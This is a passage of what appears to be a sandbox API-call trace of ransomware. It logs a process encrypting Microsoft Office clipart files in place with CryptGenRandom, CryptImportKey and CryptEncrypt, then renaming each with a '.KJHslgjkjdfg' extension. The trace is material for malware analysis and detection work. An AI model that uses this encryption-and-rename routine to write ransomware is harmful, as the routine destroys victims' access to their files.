(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.kjhslgjkjdfg")) returned 1 [0218.476] CloseHandle (hObject=0x130) returned 1 [0218.476] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1 [0218.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.477] GetProcessHeap () returned 0x2ef0000 [0218.477] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.477] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.477] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0218.479] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.479] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.479] GetProcessHeap () returned 0x2ef0000 [0218.479] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.479] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.479] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.479] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.479] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.479] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.479] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.479] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.480] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.480] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.480] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4cea, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4cea, lpOverlapped=0x0) returned 1 [0218.481] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4cf0, dwBufLen=0x4cf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4cf0) returned 1 [0218.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.481] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4cf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4cf0, lpOverlapped=0x0) returned 1 [0218.481] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.481] SetEndOfFile (hFile=0x130) returned 1 [0218.489] GetProcessHeap () returned 0x2ef0000 [0218.489] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.489] GetProcessHeap () returned 0x2ef0000 [0218.489] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.kjhslgjkjdfg")) returned 1 [0218.491] CloseHandle (hObject=0x130) returned 1 [0218.492] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1 [0218.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.494] GetProcessHeap () returned 0x2ef0000 [0218.494] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.494] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.494] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.496] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.496] GetProcessHeap () returned 0x2ef0000 [0218.497] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.497] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.497] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.497] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.497] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.497] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.497] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.497] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb12c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb12c, lpOverlapped=0x0) returned 1 [0218.499] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb130, dwBufLen=0xb130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb130) returned 1 [0218.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.499] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb130, lpOverlapped=0x0) returned 1 [0218.500] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.500] SetEndOfFile (hFile=0x130) returned 1 [0218.503] GetProcessHeap () returned 0x2ef0000 [0218.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.503] GetProcessHeap () returned 0x2ef0000 [0218.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.kjhslgjkjdfg")) returned 1 [0218.505] CloseHandle (hObject=0x130) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1 [0218.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.506] GetProcessHeap () returned 0x2ef0000 [0218.506] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.506] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.506] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.509] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.509] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.509] GetProcessHeap () returned 0x2ef0000 [0218.509] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.509] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.509] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.509] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.510] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.510] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.510] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.510] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6028, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6028, lpOverlapped=0x0) returned 1 [0218.511] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6030, dwBufLen=0x6030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6030) returned 1 [0218.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.512] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6030, lpOverlapped=0x0) returned 1 [0218.512] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.512] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.512] SetEndOfFile (hFile=0x130) returned 1 [0218.515] GetProcessHeap () returned 0x2ef0000 [0218.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.515] GetProcessHeap () returned 0x2ef0000 [0218.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.kjhslgjkjdfg")) returned 1 [0218.517] CloseHandle (hObject=0x130) returned 1 [0218.517] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1 [0218.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.518] GetProcessHeap () returned 0x2ef0000 [0218.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.518] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.519] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0218.521] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.521] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.521] GetProcessHeap () returned 0x2ef0000 [0218.521] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.521] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.521] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.522] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.522] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.522] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.522] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.522] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.522] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.522] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.522] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x108a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x108a, lpOverlapped=0x0) returned 1 [0218.523] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1090, dwBufLen=0x1090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1090) returned 1 [0218.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.523] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1090, lpOverlapped=0x0) returned 1 [0218.524] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.524] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.524] SetEndOfFile (hFile=0x130) returned 1 [0218.527] GetProcessHeap () returned 0x2ef0000 [0218.527] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.527] GetProcessHeap () returned 0x2ef0000 [0218.527] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.kjhslgjkjdfg")) returned 1 [0218.528] CloseHandle (hObject=0x130) returned 1 [0218.529] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x0, dwReserved1=0x2e0000, 